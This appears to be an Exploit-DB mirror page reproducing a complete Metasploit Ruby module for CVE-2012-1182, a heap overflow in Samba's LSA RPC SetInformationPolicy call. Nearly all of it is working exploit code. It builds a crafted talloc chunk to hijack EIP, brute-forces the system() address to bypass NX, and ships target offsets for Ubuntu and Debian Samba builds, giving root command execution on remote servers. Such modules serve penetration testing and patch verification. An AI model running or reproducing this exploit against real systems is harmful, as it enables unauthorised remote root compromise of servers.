Samba 3.4.16/3.5.14/3.6.4 – SetInformationPolicy AuditEventsInfo Heap Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2012-10-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21850/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::DCERPC
    	include Msf::Exploit::Remote::SMB
    	include Msf::Exploit::Brute
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
    			'Description'=> %q{
    					This module triggers a vulnerability in the LSA RPC service of the Samba daemon
    				because of an error on the PIDL auto-generated code. Making a specially crafted
    				call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
    				trigger a heap overflow and finally execute arbitrary code with root privileges.
    
    				The module uses brute force to guess the system() address and redirect flow there
    				in order to bypass NX. The start and stop addresses for brute forcing have been
    				calculated empirically. On the other hand the module provides the StartBrute and
    				StopBrute which allow the user to configure his own addresses.
    			},
    			'Author' =>
    				[
    					'Unknown', # Vulnerability discovery
    					'blasty', # Exploit
    					'mephos', # Debian Squeeze target
    					'sinn3r', # Metasploit module
    					'juan vazquez' # Metasploit module
    				],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					['CVE', '2012-1182'],
    					['OSVDB', '81303'],
    					['BID', '52973'],
    					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
    				],
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'DisableNops' => true,
    					'Space' => 811,
    					'Compat'=>
    						{
    							'PayloadType' => 'cmd',
    							'RequiredCmd' => 'generic bash telnet python perl'
    						}
    				},
    			'Platform' => 'unix',
    			'Arch' => ARCH_CMD,
    			'Targets'=>
    				[
    					# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
    					['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
    						{
    							'Offset' => 0x11c0,
    							'Bruteforce' =>
    							{
    								# The start for the final version should be 0xb20 aligned, and then step 0x1000.
    								'Start' => { 'Ret' => 0x00230b20 },
    								'Stop'=> { 'Ret' => 0x22a00b20 },
    								'Step'=> 0x1000
    							}
    						}
    					],
    					['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
    						{
    							'Offset' => 0x11c0,
    							'Bruteforce' =>
    							{
    								# The start should be 0x950 aligned, and then step 0x1000.
    								'Start' => { 'Ret' => 0x00230950 },
    								'Stop'=> { 'Ret' => 0x22a00950 },
    								'Step'=> 0x1000
    							}
    						}
    					],
    					['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
    						{
    							'Offset' => 0x11c0,
    							'Bruteforce' =>
    							{
    								# The start should be 0x680 aligned, and then step 0x1000.
    								'Start' => { 'Ret' => 0x00230680 },
    								'Stop'=> { 'Ret' => 0x22a00680 },
    								'Step'=> 0x1000
    							}
    						}
    					],
    					['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
    						{
    							'Offset' => 0x11c0,
    							'Bruteforce' =>
    							{
    								# The start should be 0x680 aligned, and then step 0x1000.
    								'Start' => { 'Ret' => 0xb6aaa1b0 },
    								'Stop'=> { 'Ret' => 0xb6ce91b0 },
    								'Step'=> 0x1000
    							}
    						}
    					]
    				],
    			'DisclosureDate' => 'Apr 10 2012',
    			'DefaultTarget'=> 0
    			))
    
    		register_options([
    			OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
    			OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
    		], self.class)
    
    	end
    
    	def exploit
    		if target.bruteforce?
    			bf = target.bruteforce
    
    			if datastore['StartBrute'] and datastore['StartBrute'] > 0
    				bf.start_addresses['Ret'] = datastore['StartBrute']
    			end
    
    			if datastore['StopBrute'] and datastore['StopBrute'] > 0
    				bf.stop_addresses['Ret'] = datastore['StopBrute']
    			end
    
    			if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
    				raise ArgumentError, "StartBrute should not be larger than StopBrute"
    			end
    		end
    		super
    	end
    
    	def check
    		begin
    			connect()
    			smb_login()
    			disconnect()
    
    			version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
    			minor = version.scan(/\.(\d*)$/).flatten[0].to_i
    			print_status("Version found: #{version}")
    
    			return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
    			return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
    			return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
    
    			return Exploit::CheckCode::Safe
    
    		rescue ::Exception
    			return CheckCode::Unknown
    		end
    	end
    
    	def brute_exploit(target_addrs)
    
    		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
    		datastore['DCERPC::fake_bind_multi'] = false
    		datastore['DCERPC::max_frag_size'] = 4248
    
    		pipe = "lsarpc"
    
    		print_status("Connecting to the SMB service...")
    		connect()
    		print_status("Login to the SMB service...")
    		smb_login()
    
    		handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
    		print_status("Binding to #{handle} ...")
    		dcerpc_bind(handle)
    		print_status("Bound to #{handle} ...")
    
    		stub = "X" * 20
    
    		cmd = ";;;;" # padding
    		cmd << "#{payload.encoded}\x00" # system argument
    		tmp = cmd * (816/cmd.length)
    		tmp << "\x00"*(816-tmp.length)
    
    		stub << NDR.short(2) # level
    		stub << NDR.short(2) # level 2
    		stub << NDR.long(1)# auditing mode
    		stub << NDR.long(1)# ptr
    		stub << NDR.long(100000) # r-> count
    		stub << NDR.long(20) # array size
    		stub << NDR.long(0)
    		stub << NDR.long(100)
    		stub << rand_text_alpha(target['Offset'])
    		# Crafted talloc chunk
    		stub << 'A' * 8 # next, prev
    		stub << NDR.long(0) + NDR.long(0) # parent, child
    		stub << NDR.long(0) # refs
    		stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
    		stub << NDR.long(0) # name
    		stub << "AAAA"# size
    		stub << NDR.long(0xe8150c70)# flags
    		stub << "AAAABBBB"
    		stub << tmp # pointer to tmp+4 in $esp
    		stub << rand_text(32632)
    		stub << rand_text(62000)
    
    		print_status("Calling the vulnerable function...")
    
    		begin
    			call(dcerpc, 0x08, stub)
    		rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
    			print_status('Server did not respond, this is expected')
    		rescue Rex::Proto::DCERPC::Exceptions::Fault
    			print_error('Server is most likely patched...')
    		rescue => e
    			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
    				print_status('Server disconnected, this is expected')
    			end
    		end
    
    		handler
    		disconnect
    	end
    
    	# Perform a DCE/RPC Function Call
    	def call(dcerpc, function, data, do_recv = true)
    
    		frag_size = data.length
    		if dcerpc.options['frag_size']
    			frag_size = dcerpc.options['frag_size']
    		end
    		object_id = ''
    		if dcerpc.options['object_call']
    			object_id = dcerpc.handle.uuid[0]
    		end
    		if options['random_object_id']
    			object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
    		end
    
    		call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
    		call_packets.each { |packet|
    			write(dcerpc, packet)
    		}
    
    		return true if not do_recv
    
    		raw_response = ''
    
    		begin
    			raw_response = dcerpc.read()
    		rescue ::EOFError
    			raise Rex::Proto::DCERPC::Exceptions::NoResponse
    		end
    
    		if (raw_response == nil or raw_response.length == 0)
    			raise Rex::Proto::DCERPC::Exceptions::NoResponse
    		end
    
    
    		dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
    
    		if dcerpc.last_response.type == 3
    			e = Rex::Proto::DCERPC::Exceptions::Fault.new
    			e.fault = dcerpc.last_response.status
    			raise e
    		end
    
    		dcerpc.last_response.stub_data
    	end
    
    	# Used to create standard DCERPC REQUEST packet(s)
    	def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
    
    		opnum = opnum.to_i
    		size = size.to_i
    		ctx = ctx.to_i
    
    		chunks, frags = [], []
    		ptr = 0
    
    		# Break the request into fragments of 'size' bytes
    		while ptr < data.length
    			chunks.push( data[ ptr, size ] )
    			ptr += size
    		end
    
    		# Process requests with no stub data
    		if chunks.length == 0
    			frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
    			return frags
    		end
    
    		# Process requests with only one fragment
    		if chunks.length == 1
    			frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
    			return frags
    		end
    
    		# Create the first fragment of the request
    		frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
    
    		# Create all of the middle fragments
    		while chunks.length != 1
    			frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
    		end
    
    		# Create the last fragment of the request
    		frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
    
    		return frags
    	end
    
    	# Write data to the underlying socket
    	def write(dcerpc, data)
    		dcerpc.socket.write(data)
    		data.length
    	end
    
    end